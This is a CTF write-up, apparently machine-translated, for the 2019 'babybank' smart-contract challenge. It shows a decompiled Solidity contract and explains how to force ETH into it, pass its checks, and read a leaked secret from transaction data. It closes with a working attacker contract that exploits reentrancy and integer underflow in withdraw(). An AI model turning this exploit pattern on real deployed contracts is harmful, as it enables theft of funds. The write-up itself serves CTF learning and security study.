Foreword
2019 strong intelligent network CTF Cup title --babybank wp contract and Analysis
ps: This article was first written on my new blog, the back will give priority to the new blog, come see mood will sync article
analysis
Decompile
Use OnlineSolidityDecompiler of reverse contract, contract acquisition source pseudocode
For additional master's analysis, posted the source code after the landscaping contract
pragma solidity ^0.4.23; contract babybank { // 0xe3d670d7 0 mapping(address => uint) public balance; // 0xd41b6db6 1 mapping(address => uint) public level; // 2 address owner; // 3 uint secret; //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough. //Gmail is ok. 163 and qq may have some problems. event sendflag(string md5ofteamtoken,string b64email); constructor()public{ owner = msg.sender; } //0x8c0320de function payforflag(string md5ofteamtoken,string b64email) public{ require(balance[msg.sender] >= 10000000000); balance[msg.sender]=0; owner.transfer(address(this).balance); emit sendflag(md5ofteamtoken,b64email); } modifier onlyOwner(){ require(msg.sender == owner); _; } //0x2e1a7d4d function withdraw(uint256 amount) public { require(amount == 2); require(amount <= balance[msg.sender]); // 重入漏洞 address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)(); // 整形下溢出 balance[msg.sender] -= amount; } //0x66d16cc3 function profit() public { require(level[msg.sender] == 0); require(msg.sender & 0xffff == 0xb1b1); balance[msg.sender] += 1; level[msg.sender] += 1; } // 0xa5e9585f function xxx(uint256 number) public onlyOwner { secret = number; } // 0x9189fec1 function guess(uint256 number) public { require(number == secret); require(level[msg.sender] == 1); balance[msg.sender] += 1; level[msg.sender] += 1; } // 0xa9059cbb function transfer(address to, uint256 amount) public { require(balance[msg.sender] >= amount); require(amount == 2); require(level[msg.sender] == 2); balance[msg.sender] = 0; balance[to] = amount; } }
ETH given contract
The initial contract without ETH state, unable to perform the operation, so the need to address to make contracts have a certain amount of ETH
The contract is not related to the code can be transferred to the operating ETH, it can only make the implementation of self-destruction ETH forcibly transferred by contract addresses into the ETH
Construct self-destruct function kill
function kill() public payable { selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f)); }
0.2ETH using the kill function into self destruction , forced into 0.2ETH to contract
Bypassing the use of analysis
Initiating contract sendflag
requires more than 10000000000
a token
The withdraw
function exists reentrant vulnerabilities and integer underflow
But limits can only 2token withdrawals and withdrawals by account token must be greater than or equal to 2
Let's look at how to increase the token
Only token increase function profit
and guess
two functions
profit
Verify function lower 4 bits of the address0xb1b1
; and only in the initial state i.e.level=0
when the call time, call time afterlevel
lifting 1,balance
+1
guess
Function verificationsecret
value, while thesecret
value of the contract can only be called by the owner ofxxx
the function given; and the needlevel=1
, called once afterlevel
upgrade to 2,balance
+1
Then the function call flow came out first profit()
and thenguess()
profit
Bypass function, by vanity eth obtaining a qualifying address
guess
Bypass, secret value of the function can be found in the contract transaction information
The last transaction in the event the contract deployer, InputData
function selector, the first four bytes 0xa5e9585f
for the xxx
function function signature, its argument is to deploy invokes xxx
the function argument passed, that is, secret
the value of
So far, through the profit
, guess
to meet withdraw
the conditions for withdrawal
Since the withdraw
function exists and reentrancy overflow vulnerability
Construction contracts attacks, the use of re-entry and overflow vulnerability can reap huge tokens, and initiate payforflag
operation
pragma solidity ^0.4.24; interface BabybankInterface { function withdraw(uint256 amount) external; function profit() external; function guess(uint256 number) external; function transfer(address to, uint256 amount) external; function payforflag(string md5ofteamtoken, string b64email) external; } contract attacker { BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f); uint private flag = 0; function exploit() public payable { target.profit(); target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca); target.withdraw(2); target.payforflag("hunya", "hunya"); } function() external payable { require (flag == 0); flag = 1; target.withdraw(2); } }
Contract transaction can be seen in a series of operations, the last of a transaction is the contract of ETH all withdrawals to contract the owner of the address, it should be emptied at ETH to make a person do question contracts and from state started 0ETH
View event log, there are sendflag
events
reference
https://zhuanlan.zhihu.com/p/67205187